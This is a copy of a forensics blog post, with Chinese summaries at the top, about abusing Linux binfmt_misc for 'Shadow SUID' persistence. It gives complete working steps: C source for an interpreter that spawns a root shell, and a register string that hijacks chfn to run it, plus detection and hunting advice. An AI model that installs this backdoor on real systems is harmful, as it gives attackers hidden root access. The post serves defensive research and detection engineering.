今天我学到了:Binfmt_misc
Today I Learned: Binfmt_misc

原始链接: https://dfir.ch/posts/today_i_learned_binfmt_misc/

## binfmt_misc:一种隐蔽的 Linux 持久化技术 `binfmt_misc` 是 Linux 内核的一个特性,它扩展了可执行文件处理能力,超出了原生格式(如 ELF)。它允许系统通过在 `/proc/sys/fs/binfmt_misc` 虚拟文件系统注册解释器来运行具有自定义二进制格式的文件。这使得执行脚本、其他架构的二进制文件或自定义文件类型成为可能。 一个关键的安全问题源于利用 `binfmt_misc` 实现持久化的能力,特别是通过一种称为“Shadow SUID”的技术。通过使用 ‘C’ 标志注册处理程序,攻击者可以将合法 SUID 二进制文件(如 `chfn`)的执行重定向到他们自己的解释器,并继承 SUID 的 root 权限。这有效地创建了一个 root 后门,无需在解释器本身上拥有 SUID 权限,使得使用传统的 SUID 扫描难以检测。 检测具有挑战性,因为标准的 SUID 搜索不会标记该解释器。监控 `/proc/sys/fs/binfmt_misc` 中的新处理程序,尤其是指向可写位置的处理程序,可能会有所帮助,但这需要 root 访问权限才能实现。该技术是临时的,需要在重启后重新安装,从而提供了进一步的检测机会。专家指出,现有的专注于 SUID 利用的规则可能不会触发,因为原始 SUID 二进制文件并未直接执行——它是通过代理执行的。

## binfmt_misc:内核特性,用于运行外部二进制文件 最近的 Hacker News 讨论强调了 `binfmt_misc`,这是一个内核特性,允许注册解释器来处理不同的二进制格式。这使得可以直接运行可执行文件,例如使用 Wine 运行 `.exe` 文件(无需 `wine ./prog.exe`),或使用 Java 运行 `.jar` 文件。 除了便利性之外,`binfmt_misc` 对于像使用 QEMU 运行不同架构的容器(例如在 x86 上运行 AArch64)以及 WSL 在 Linux 上执行 Windows 二进制文件等技术至关重要。它的工作原理是允许内核在遇到特定二进制类型时执行一个解释器(例如 QEMU)。 虽然 `binfmt_misc` 本身并非漏洞,但*可能*被利用。获得 root 权限的攻击者可以注册一个后门以实现持久访问,但这需要 root 权限并且并非万无一失。讨论还指出,在完全重新安装之前清理受损系统可能存在风险,因为可能会遗漏此类后门。最终,`binfmt_misc` 是一种功能强大的工具,既有合法的用途,也存在潜在的安全隐患。
相关文章

原文

Introduction

binfmt_misc (short for Binary Format Miscellaneous) is a Linux kernel feature that allows the system to recognize and execute files based on custom binary formats. It’s part of the Binary Format (binfmt) subsystem, which determines how the kernel runs an executable file.

Normally, Linux only knows how to run native binaries (like ELF files compiled for the system’s CPU architecture, and a few other file types). binfmt_misc extends this by allowing other kinds of files, scripts, binaries for other architectures, or even custom file types, to be executed as if they were native.

When you enable binfmt_misc, the kernel adds a virtual filesystem (usually mounted at /proc/sys/fs/binfmt_misc/). Within this filesystem, you can register new binary format handlers. Each handler tells the kernel:

  • How to recognize a file (e.g., by its magic bytes or filename extension)
  • What interpreter or emulator to use to run it
  • When a matching file is executed, the kernel automatically invokes the specified interpreter with the file as its argument.

binfmt_misc is managed from /proc/sys/fs/binfmt_misc. There are two files in that folder by default, register and status. To actually register a new binary type, you have to construct a string looking like

:name:type:offset:magic:mask:interpreter:flags

(where you can choose the : upon your needs) and echo it to /proc/sys/fs/binfmt_misc/register. The binfmt-misc man page goes into details about the various flags.

Why care?

TL;DR: binfmt_misc provides a nifty way (once the attacker has gained root rights on the machine) to create a little backdoor to regain root access when the original access no longer works. This mechanism is not really known, according to blog posts and articles on the topic, which makes it a perfect fit for staying under the radar.

In 2019, SentinelOne published a two-part analysis describing a persistence technique called Shadow SUID (Part 1, Part 2): Shadow SUID is the same as a regular suid file, only it doesn’t have the setuid bit, which makes it very hard to find or notice. The way shadow SUID works is by inheriting the setuid bit from an existing setuid binary using the binfmt_misc mechanism, which is part of the Linux kernel.

Interestingly, this technique seems to have fallen into oblivion again, as neither MITRE ATT&CK nor the five-part Elastic Security “Linux Persistence Detection Engineering” series mentioned it (the last part here with links to all other parts). As of 2025, however, the technique works wonderfully and would probably be very difficult to detect (see the hunting section later).

Setting up our backdoor

A binfmt_misc rule is registered with the C (credentials) flag. That flag changes the normal behavior: instead of using the interpreter’s rights, the kernel looks up the access rights from the original file being executed. If that original file is setuid-root, the interpreter runs as root. (C also implies O, the “open fd for unreadable files” flag.)

In the demo from SentinelOne, they register a binfmt_misc rule that matches a chosen SUID binary’s first 128 bytes (e.g., ping). Then, when you “run ping”, the kernel dispatches to the attacker’s interpreter but with ping’s setuid credentials, so the interpreter is effectively root. That’s why it looks like the “script” or binary (aka the interpreter) is being interpreted as SUID. Let that sink in.. It took me a few readings to grasp that concept. But it works, as we will see below!

First, we check if binfmt_misc is mounted:

# mount | grep binfmt_misc
binfmt_misc on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,nosuid,nodev,noexec,relatime)

For setting up my interpreter, I’m following 0xdf’s writeup for the HTB machine Retired closely:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    char *const paramList[10] = {"/bin/bash", "-p", NULL};
    const int id = 0;
    setresuid(id, id, id);
    execve(paramList[0], paramList, NULL);
    return 0;
}

Compile the interpreter with gcc -o malmoeb malmoeb.c. Next, we need to find a suitable SUID binary:

root@binfmt_misc:/dev/shm# find / -perm -4000 2>/dev/null
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chfn
[..]

Wait, chfn? The chfn binary on Linux is a legacy command-line tool used to change a user’s “finger” information. Details like their full name, office number, or phone numbers are stored in the GECOS field of /etc/passwd. Although rarely used today, it remains installed by default because it’s part of the standard shadow or util-linux package, which provides core user management utilities such as passwd and chsh. Keeping chfn ensures backward compatibility with older scripts and systems that still rely on traditional Unix account management tools, even though most modern environments no longer use the finger service or its associated data.

SentinelOne, in their demo, uses the ping utility, but that approach has the drawback of breaking the command’s normal functionality. However, they also published some clever workarounds, though those are more complex. By using a legacy command like chfn, this extra step should most likely be unnecessary (since nobody hardly uses that command anymore).

Here we extract the magic bytes from chfn (in hex) to create a new handler.

cat /usr/bin/chfn | xxd -p | head -1 | sed 's/\(..\)/\\x\1/g'
\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x00\x72\x00\x00\x00\x00

We assemble the required string and echo this string (as root) into /proc/sys/fs/binfmt_misc/register:

echo ':malmoeb:M::\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x00\x72\x00\x00\x00\x00::/dev/shm/malmoeb:C' > /proc/sys/fs/binfmt_misc/register

That breaks down to (again, thanks to 0xdf):

  • name - malmoeb (arbitrary)
  • using magic bytes
  • no offset
  • signature that matches the first 30 bytes of chfn
  • no mask
  • interpreter of /dev/shm/malmoeb
  • C flag

malmoeb was successfully created as a new handler. Pointing to our interpreter:

root@binfmt_misc://proc/sys/fs/binfmt_misc# cat malmoeb 
enabled
interpreter /dev/shm/malmoeb
flags: OC
offset 0
magic 7f454c4602010100000000000000000003003e0001000000007200000000

No, when we execute chfn..

malmoeb@binfmt_misc:~$ id
uid=1000(malmoeb) gid=1000(malmoeb) groups=1000(malmoeb)
malmoeb@binfmt_misc:~$ chfn
root@binfmt_misc:/home/malmoeb# 

Holy cow - this is really working! As an unprivileged user, all I have to type is chfn to get a root shell!

Hunting

The SUID searches (typically used for hunting) will not flag our interpreter binary, as we have not set SUID rights on this file. One technique would be to specifically check the registered handlers:

$ ls -la /proc/sys/fs/binfmt_misc

Or monitor /proc/sys/fs/binfmt_misc/ for new or changed handlers; alert on any registration events. Next one would alert on handlers whose interpreter path points to writable or ephemeral locations (e.g., /tmp, /dev/shm, user home directories.., however, this might not be a strong detection, because you already need root rights to install this mechanism. So you could create an executable wherever you want on the system).

The good thing is - our registered handler will only be temporary, which means when the system reboots, our handler will be gone. If an attacker wants to maintain long-term access via this technique, they must set up yet another mechanism to reinstall the handler / interpreter, giving us another chance to catch them.

Let’s ask an expert

So, I asked a true expert in that field, Ruben Groenewoud, Senior Security Research Engineer at Elastic, for his thoughts on this, especially regarding detection.

As the steps for execution rely mostly on using built-in shell tools, the /proc filesystem, and hijacking the execution flow, there are very limited traces to catch.. The most interesting part to note here with the execution chain, is that chfn is never even executed; its a proxy execution.

Proxy execution

Figure 1: Proxy execution

So rules that I created such as https://github.com/elastic/detection-rules/blob/main/rules/linux/privilege_escalation_potential_suid_sgid_exploitation.toml will not trigger, because chfn is never executed on its own.

From the attack chain point of view, 2 steps that were flagged by my rules are the execution of a hex payload (as you grabbed the memory using xxd -p) and SUID/SGUID enumeration, but these two are not necessary in an adversary point of view.

Very interesting! And true - SUID/SGUID enumeration and the xxd -p command are not strictly necessary to be executed on our target host. Ruben will look more into this technique, and I’m sure he will come up with some cool detections :)

Further reading

  • Using Go as a Scripting Language in Linux from Cloudflare explains how Go, normally a compiled language, can be used like a scripting language on Linux systems. The article describes using Linux’s binfmt_misc feature to register Go source files as executable. By creating a small wrapper (such as a gorun command) and associating it with Go files, users can make .go scripts executable and run them directly, just like shell scripts.

  • On BINFMT_MISC by Benjamin Toll explains how the Linux feature binfmt_misc allows the operating system to treat arbitrary file types as executable. When a file is run, the kernel can automatically pass it to a specified interpreter based on its format or magic number, not just its extension.

联系我们 contact @ memedata.com